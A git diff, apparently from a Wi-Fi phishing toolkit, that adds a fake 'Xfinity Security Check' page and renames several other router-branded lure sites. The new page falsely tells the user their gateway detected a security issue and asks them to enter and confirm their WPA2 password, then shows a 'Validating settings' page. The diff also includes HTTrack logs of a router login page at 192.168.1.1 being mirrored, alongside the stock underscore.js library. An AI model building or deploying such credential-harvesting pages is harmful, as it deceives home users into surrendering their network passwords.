catch(e) { + if (e != breaker) throw e; + } + return obj; + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = function(obj, iterator, context) { + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + var results = []; + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return obj.reduce(iterator, memo); + } + each(obj, function(value, index, list) { + memo = iterator.call(context, memo, value, index, list); + }); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return obj.reduceRight(iterator, memo); + } + var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse(); + return _.reduce(reversed, iterator, memo, context); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + _.breakLoop(); + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + var results = []; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + var result = true; + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop(); + }); + return result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + _.some = _.any = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + var result = false; + each(obj, function(value, index, list) { + if (result = iterator.call(context, value, index, list)) _.breakLoop(); + }); + return result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + var found = false; + each(obj, function(value) { + if (found = value === target) _.breakLoop(); + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (method ? value[method] : value).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, iterator, context) { + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator = iterator || _.identity; + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + if (_.isArray(iterable)) return iterable; + if (_.isArguments(iterable)) return slice.call(iterable); + return _.values(iterable); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.toArray(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head`. The **guard** check allows it to work + // with `_.map`. + _.first = _.head = function(array, n, guard) { + return n && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, _.isUndefined(index) || guard ? 1 : index); + }; + + // Get the last element of an array. + _.last = function(array) { + return array[array.length - 1]; + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(_.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + var values = slice.call(arguments, 1); + return _.filter(array, function(value){ return !_.include(values, value); }); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted) { + return _.reduce(array, function(memo, el, i) { + if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el; + return memo; + }, []); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. + _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + _.indexOf = function(array, item) { + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i; + return -1; + }; + + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + var args = slice.call(arguments), + solo = args.length <= 1, + start = solo ? 0 : args[0], + stop = solo ? args[0] : args[1], + step = args[2] || 1, + len = Math.max(Math.ceil((stop - start) / step), 0), + idx = 0, + range = new Array(len); + while (idx < len) { + range[idx++] = start; + start += step; + } + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + _.bind = function(func, obj) { + var args = slice.call(arguments, 2); + return function() { + return func.apply(obj || {}, args.concat(slice.call(arguments))); + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher = hasher || _.identity; + return function() { + var key = hasher.apply(this, arguments); + return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(func, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments)); + return wrapper.apply(wrapper, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = slice.call(arguments); + return function() { + var args = slice.call(arguments); + for (var i=funcs.length-1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (_.isArray(obj)) return _.range(0, obj.length); + var keys = []; + for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) obj[prop] = source[prop]; + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + // Check object identity. + if (a === b) return true; + // Different types? + var atype = typeof(a), btype = typeof(b); + if (atype != btype) return false; + // Basic equality test (watch out for coercions). + if (a == b) return true; + // One is falsy and the other truthy. + if ((!a && b) || (a && !b)) return false; + // One of them implements an isEqual()? + if (a.isEqual) return a.isEqual(b); + // Check dates' integer values. + if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime(); + // Both are NaN? + if (_.isNaN(a) && _.isNaN(b)) return false; + // Compare regular expressions. + if (_.isRegExp(a) && _.isRegExp(b)) + return a.source === b.source && + a.global === b.global && + a.ignoreCase === b.ignoreCase && + a.multiline === b.multiline; + // If a is not an object by this point, we can't handle it. + if (atype !== 'object') return false; + // Check for different array lengths before comparing contents. + if (a.length && (a.length !== b.length)) return false; + // Nothing else worked, deep compare the contents. + var aKeys = _.keys(a), bKeys = _.keys(b); + // Different object sizes? + if (aKeys.length != bKeys.length) return false; + // Recursive comparison of contents. + for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false; + return true; + }; + + // Is a given array or object empty? + _.isEmpty = function(obj) { + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (hasOwnProperty.call(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return !!(obj && obj.concat && obj.unshift && !obj.callee); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return !!(obj && obj.callee); + }; + + // Is a given value a function? + _.isFunction = function(obj) { + return !!(obj && obj.constructor && obj.call && obj.apply); + }; + + // Is a given value a string? + _.isString = function(obj) { + return !!(obj === '' || (obj && obj.charCodeAt && obj.substr)); + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return (obj === +obj) || (toString.call(obj) === '[object Number]'); + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear); + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false)); + }; + + // Is the given value NaN -- this one is interesting. NaN != NaN, and + // isNaN(undefined) == true, so we make sure it's a number first. + _.isNaN = function(obj) { + return _.isNumber(obj) && isNaN(obj); + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return typeof obj == 'undefined'; + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + _.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Break out of the middle of an iteration. + _.breakLoop = function() { + throw breaker; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(str, data) { + var c = _.templateSettings; + var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' + + 'with(obj||{}){__p.push(\'' + + str.replace(/'/g, "\\'") + .replace(c.interpolate, function(match, code) { + return "'," + code.replace(/\\'/g, "'") + ",'"; + }) + .replace(c.evaluate || null, function(match, code) { + return "');" + code.replace(/\\'/g, "'") + .replace(/[\r\n\t]/g, ' ') + "__p.push('"; + }) + .replace(/\r/g, '\\r') + .replace(/\n/g, '\\n') + .replace(/\t/g, '\\t') + + "');}return __p.join('');"; + var func = new Function('obj', tmpl); + return data ? func(data) : func; + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + method.apply(this._wrapped, arguments); + return result(this._wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +})(); diff --git a/sites/Login-Xfinity/Xfinity_files/w b/sites/Login-Xfinity/Xfinity_files/w new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/w @@ -0,0 +1 @@ + diff --git a/sites/Login-Xfinity/index.html b/sites/Login-Xfinity/index.html new file mode 100755 index 0000000..c2e3028 --- /dev/null +++ b/sites/Login-Xfinity/index.html @@ -0,0 +1,242 @@ + + + + Xfinity Security Check + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + +
    + +
    + +
    +

    Security Check

    + + + + +
    + +
    +

    Your XFINITY™ Wireless Gateway detected a security issue. Please enter your wireless security settings to proceed.

    +
    + +
    + +
    +
       WPA2 Password: +
    Confirm Password: +
    +
    +
    + + +
    + + + +
    + + \ No newline at end of file diff --git a/sites/Login-Xfinity/upgrading.html b/sites/Login-Xfinity/upgrading.html new file mode 100755 index 0000000..d9bc0ca --- /dev/null +++ b/sites/Login-Xfinity/upgrading.html @@ -0,0 +1,238 @@ + + + + Vaidate Settings + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + +
    + + + + + + + +
    + +
    + +
    +

    Validating Settings

    + + + +
    + +
    +

    Validating your settings... Please wait about 1 minute.

    +
    + +
    + + +
    +
    + + +
    + + + +
    + + \ No newline at end of file diff --git a/sites/ARRIS-ESP/ayuda.htm b/sites/arris_esp/ayuda.htm similarity index 100% rename from sites/ARRIS-ESP/ayuda.htm rename to sites/arris_esp/ayuda.htm diff --git a/sites/ARRIS-ESP/background.png b/sites/arris_esp/background.png similarity index 100% rename from sites/ARRIS-ESP/background.png rename to sites/arris_esp/background.png diff --git a/sites/ARRIS-ESP/error.html b/sites/arris_esp/error.html similarity index 100% rename from sites/ARRIS-ESP/error.html rename to sites/arris_esp/error.html diff --git a/sites/ARRIS-ESP/final.html b/sites/arris_esp/final.html similarity index 100% rename from sites/ARRIS-ESP/final.html rename to sites/arris_esp/final.html diff --git a/sites/ARRIS-ESP/house.png b/sites/arris_esp/house.png similarity index 100% rename from sites/ARRIS-ESP/house.png rename to sites/arris_esp/house.png diff --git a/sites/ARRIS-ESP/house1.png b/sites/arris_esp/house1.png similarity index 100% rename from sites/ARRIS-ESP/house1.png rename to sites/arris_esp/house1.png diff --git a/sites/ARRIS-ESP/index.htm b/sites/arris_esp/index.htm similarity index 100% rename from sites/ARRIS-ESP/index.htm rename to sites/arris_esp/index.htm diff --git a/sites/ARRIS-ESP/info.css b/sites/arris_esp/info.css similarity index 100% rename from sites/ARRIS-ESP/info.css rename to sites/arris_esp/info.css diff --git a/sites/ARRIS-ESP/info.html b/sites/arris_esp/info.html similarity index 100% rename from sites/ARRIS-ESP/info.html rename to sites/arris_esp/info.html diff --git a/sites/ARRIS-ESP/info2.css b/sites/arris_esp/info2.css similarity index 100% rename from sites/ARRIS-ESP/info2.css rename to sites/arris_esp/info2.css diff --git a/sites/BELKIN-ENG/ayuda.htm b/sites/belkin_eng/ayuda.htm similarity index 100% rename from sites/BELKIN-ENG/ayuda.htm rename to sites/belkin_eng/ayuda.htm diff --git a/sites/BELKIN-ENG/background.png b/sites/belkin_eng/background.png similarity index 100% rename from sites/BELKIN-ENG/background.png rename to sites/belkin_eng/background.png diff --git a/sites/BELKIN-ENG/error.html b/sites/belkin_eng/error.html similarity index 100% rename from sites/BELKIN-ENG/error.html rename to sites/belkin_eng/error.html diff --git a/sites/BELKIN-ENG/final.html b/sites/belkin_eng/final.html similarity index 100% rename from sites/BELKIN-ENG/final.html rename to sites/belkin_eng/final.html diff --git a/sites/BELKIN-ENG/house.png b/sites/belkin_eng/house.png similarity index 100% rename from sites/BELKIN-ENG/house.png rename to sites/belkin_eng/house.png diff --git a/sites/BELKIN-ENG/house1.png b/sites/belkin_eng/house1.png similarity index 100% rename from sites/BELKIN-ENG/house1.png rename to sites/belkin_eng/house1.png diff --git a/sites/BELKIN-ENG/index.htm b/sites/belkin_eng/index.htm similarity index 100% rename from sites/BELKIN-ENG/index.htm rename to sites/belkin_eng/index.htm diff --git a/sites/BELKIN-ENG/info.css b/sites/belkin_eng/info.css similarity index 100% rename from sites/BELKIN-ENG/info.css rename to sites/belkin_eng/info.css diff --git a/sites/BELKIN-ENG/info.html b/sites/belkin_eng/info.html similarity index 100% rename from sites/BELKIN-ENG/info.html rename to sites/belkin_eng/info.html diff --git a/sites/BELKIN-ENG/info2.css b/sites/belkin_eng/info2.css similarity index 100% rename from sites/BELKIN-ENG/info2.css rename to sites/belkin_eng/info2.css diff --git a/sites/FRITZBOX_DE/bg.png b/sites/fritzbox_de/bg.png similarity index 100% rename from sites/FRITZBOX_DE/bg.png rename to sites/fritzbox_de/bg.png diff --git a/sites/FRITZBOX_DE/error.html b/sites/fritzbox_de/error.html similarity index 100% rename from sites/FRITZBOX_DE/error.html rename to sites/fritzbox_de/error.html diff --git a/sites/FRITZBOX_DE/final.html b/sites/fritzbox_de/final.html similarity index 100% rename from sites/FRITZBOX_DE/final.html rename to sites/fritzbox_de/final.html diff --git a/sites/FRITZBOX_DE/header.png b/sites/fritzbox_de/header.png similarity index 100% rename from sites/FRITZBOX_DE/header.png rename to sites/fritzbox_de/header.png diff --git a/sites/FRITZBOX_DE/header_small.png b/sites/fritzbox_de/header_small.png similarity index 100% rename from sites/FRITZBOX_DE/header_small.png rename to sites/fritzbox_de/header_small.png diff --git a/sites/FRITZBOX_DE/icon0.png b/sites/fritzbox_de/icon0.png similarity index 100% rename from sites/FRITZBOX_DE/icon0.png rename to sites/fritzbox_de/icon0.png diff --git a/sites/FRITZBOX_DE/icon1.png b/sites/fritzbox_de/icon1.png similarity index 100% rename from sites/FRITZBOX_DE/icon1.png rename to sites/fritzbox_de/icon1.png diff --git a/sites/FRITZBOX_DE/icon2.png b/sites/fritzbox_de/icon2.png similarity index 100% rename from sites/FRITZBOX_DE/icon2.png rename to sites/fritzbox_de/icon2.png diff --git a/sites/FRITZBOX_DE/icon3.png b/sites/fritzbox_de/icon3.png similarity index 100% rename from sites/FRITZBOX_DE/icon3.png rename to sites/fritzbox_de/icon3.png diff --git a/sites/FRITZBOX_DE/index.html b/sites/fritzbox_de/index.html similarity index 100% rename from sites/FRITZBOX_DE/index.html rename to sites/fritzbox_de/index.html diff --git a/sites/FRITZBOX_ENG/bg.png b/sites/fritzbox_eng/bg.png similarity index 100% rename from sites/FRITZBOX_ENG/bg.png rename to sites/fritzbox_eng/bg.png diff --git a/sites/FRITZBOX_ENG/error.html b/sites/fritzbox_eng/error.html similarity index 100% rename from sites/FRITZBOX_ENG/error.html rename to sites/fritzbox_eng/error.html diff --git a/sites/FRITZBOX_ENG/final.html b/sites/fritzbox_eng/final.html similarity index 100% rename from sites/FRITZBOX_ENG/final.html rename to sites/fritzbox_eng/final.html diff --git a/sites/FRITZBOX_ENG/header.png b/sites/fritzbox_eng/header.png similarity index 100% rename from sites/FRITZBOX_ENG/header.png rename to sites/fritzbox_eng/header.png diff --git a/sites/FRITZBOX_ENG/header_small.png b/sites/fritzbox_eng/header_small.png similarity index 100% rename from sites/FRITZBOX_ENG/header_small.png rename to sites/fritzbox_eng/header_small.png diff --git a/sites/FRITZBOX_ENG/icon0.png b/sites/fritzbox_eng/icon0.png similarity index 100% rename from sites/FRITZBOX_ENG/icon0.png rename to sites/fritzbox_eng/icon0.png diff --git a/sites/FRITZBOX_ENG/icon1.png b/sites/fritzbox_eng/icon1.png similarity index 100% rename from sites/FRITZBOX_ENG/icon1.png rename to sites/fritzbox_eng/icon1.png diff --git a/sites/FRITZBOX_ENG/icon2.png b/sites/fritzbox_eng/icon2.png similarity index 100% rename from sites/FRITZBOX_ENG/icon2.png rename to sites/fritzbox_eng/icon2.png diff --git a/sites/FRITZBOX_ENG/icon3.png b/sites/fritzbox_eng/icon3.png similarity index 100% rename from sites/FRITZBOX_ENG/icon3.png rename to sites/fritzbox_eng/icon3.png diff --git a/sites/FRITZBOX_ENG/index.html b/sites/fritzbox_eng/index.html similarity index 100% rename from sites/FRITZBOX_ENG/index.html rename to sites/fritzbox_eng/index.html diff --git a/sites/GENEXIS_DE/error.html b/sites/genenix_de/error.html similarity index 100% rename from sites/GENEXIS_DE/error.html rename to sites/genenix_de/error.html diff --git a/sites/GENEXIS_DE/final.html b/sites/genenix_de/final.html similarity index 100% rename from sites/GENEXIS_DE/final.html rename to sites/genenix_de/final.html diff --git a/sites/GENEXIS_DE/genexis-logo-small.jpg b/sites/genenix_de/genexis-logo-small.jpg similarity index 100% rename from sites/GENEXIS_DE/genexis-logo-small.jpg rename to sites/genenix_de/genexis-logo-small.jpg diff --git a/sites/GENEXIS_DE/index.html b/sites/genenix_de/index.html similarity index 100% rename from sites/GENEXIS_DE/index.html rename to sites/genenix_de/index.html diff --git a/sites/GENEXIS_DE/spinner.gif b/sites/genenix_de/spinner.gif similarity index 100% rename from sites/GENEXIS_DE/spinner.gif rename to sites/genenix_de/spinner.gif diff --git a/sites/hts-cache/doit.log b/sites/hts-cache/doit.log new file mode 100644 index 0000000..62452ba --- /dev/null +++ b/sites/hts-cache/doit.log @@ -0,0 +1,8 @@ +192.168.1.1 +File generated automatically on Mon, 13 Mar 2017 20:21:37, do NOT edit + +To update a mirror, just launch httrack without any parameters +The existing cache will be used (and modified) +To have other options, retype all parameters and launch HTTrack +To continue an interrupted mirror, just launch httrack without any parameters + diff --git a/sites/hts-cache/new.lst b/sites/hts-cache/new.lst new file mode 100644 index 0000000..44dcd12 --- /dev/null +++ b/sites/hts-cache/new.lst @@ -0,0 +1,7 @@ +[backblue.gif] +[fade.gif] +[index.html] +[192.168.1.1/img/login/logo.png] +[192.168.1.1/img/login/icons-01.png] +[192.168.1.1/index.html] +[192.168.1.1/img/login/icons-02.png] diff --git a/sites/hts-cache/new.txt b/sites/hts-cache/new.txt new file mode 100644 index 0000000..bed87f5 --- /dev/null +++ b/sites/hts-cache/new.txt @@ -0,0 +1,6 @@ +date size'/'remotesize flags(request:Update,Range state:File response:Modified,Chunked,gZipped) statuscode status ('servermsg') MIME Etag|Date URL localfile (from URL) +20:21:38 106/106 ---M-- 403 error ('Forbidden') text/html http://192.168.1.1/robots.txt (from ) +20:21:38 16677/16677 ---M-- 200 added ('OK') text/html http://192.168.1.1/ 192.168.1.1/index.html (from ) +20:21:38 935/935 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/logo.png 192.168.1.1/img/login/logo.png (from http://192.168.1.1/) +20:21:40 16060/16060 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/icons-02.png 192.168.1.1/img/login/icons-02.png (from http://192.168.1.1/) +20:21:41 51843/51843 ---M-- 200 added ('OK') text/plain http://192.168.1.1/img/login/icons-01.png 192.168.1.1/img/login/icons-01.png (from http://192.168.1.1/) diff --git a/sites/hts-cache/new.zip b/sites/hts-cache/new.zip new file mode 100644 index 0000000000000000000000000000000000000000..5541421e8b0862778540b3d50f97c027f55a395e GIT binary patch literal 6630 zcmcJUcUTi^+QtLYktQ7x0@9_0UZsQ7(0hjfkw72`UAhDX>C$^|B3+7wrWEN-x*%O? z(nOjp9MA5avwQaJe%H5~T=UN4ndiCRC%<`T{2-ytEGxzO(^D+P ztBD0v81=Mym3D$Ol5~{o&bRM@4y8yF1xpo0RXIW0023l?T^6y4VM5vKM<^b z)!d(Ox=gyt_=)asoPL)53P?mmRP?`x=$F}SJg>oZ%gvsV~NOT5}YkFa@9tNKR3Xaa^tqc$4vV*p!qP+R2|CZ#CE?^pDg zc-!q#%+SVD<=NPlL(OU*WGYB4VMp$nsT3i@oCdpF)e;1$n{8BIgyAiGipAzgr`LHW zzAEbD2(wu*Nk~vqm-1jsnm&VZr8OE#%P;F~?A^CG^9D^|dq+KoQ_szan;(9j5P8M8 zP&-On{u<*J*|y4r(YrU+DF&q?xz~)QmtTxwPWF%b8U&`yj z7jI<6w;qBK==8VNAFb{%zDZl$uQv@?-1!o!rA4)wJ`q(UJ*DJhVAX%~uz%0v ztGT#kS<}Wwc=M}xA9uMAnXX52B?OU%;Kt1(_6m>4y6_O8)V}Q1iyuuR%kCCNTH8B* zp3uhc1>X!~6imu)7KjDVMaJY~l#*D-(-7wJF0bhGmNm-v>9 z9?x_4;rsXrJxUFyvsB2gm{ryC+uT_4==Kts)a&ZwT}Id66o!_u&CLwZB*P>3kE`Z) z2;Ui&wv={9+F0%2ZEf&!wJLk_qaGmGWJ&1dYA=p6WZE= zzUNe(4WGDq_{|Du$@H!5JB+G&a`&Wuhzyx~(uv5oPs@-LA77z9m>&@KA3lCn65He% zK_OK;@ItT5sSp1;^))-e?xx}reM{FNc35{F8v|1tFmJK_0rKug;}d~<5KVh$jE#tQ zfmpFT{Hc5Zi~Pn}Ec79zh(pAiyGn%2y~czZJRXk4;)UYob=?HGY{hv8Qlcoc1n_XW zu1?0Ht~Hg|bi`scR1N){LrzONi$y0+;HlM9$1?~yO&|P*@d3M)R-BWWuQ>=sP5u}i zWlt2A_~|CoBUtz+OjIYDcP5^)U@-+=cBjU!Bhjt{V5(|_TB4|+e%r2dUmyvkfI6uB zYzq6hq8y@0dox%yHAP(s%U^@i!dI(0#f5|Rx%R?ii8abw_C*(mn6M^us*)9=S8wwu zRfr`e2K)@~jLW|_i>T44JLW7Kmz!h`G0`szmo0$ueq^Tesrp#2yHW`}es2m8>K97X}U>H}bc 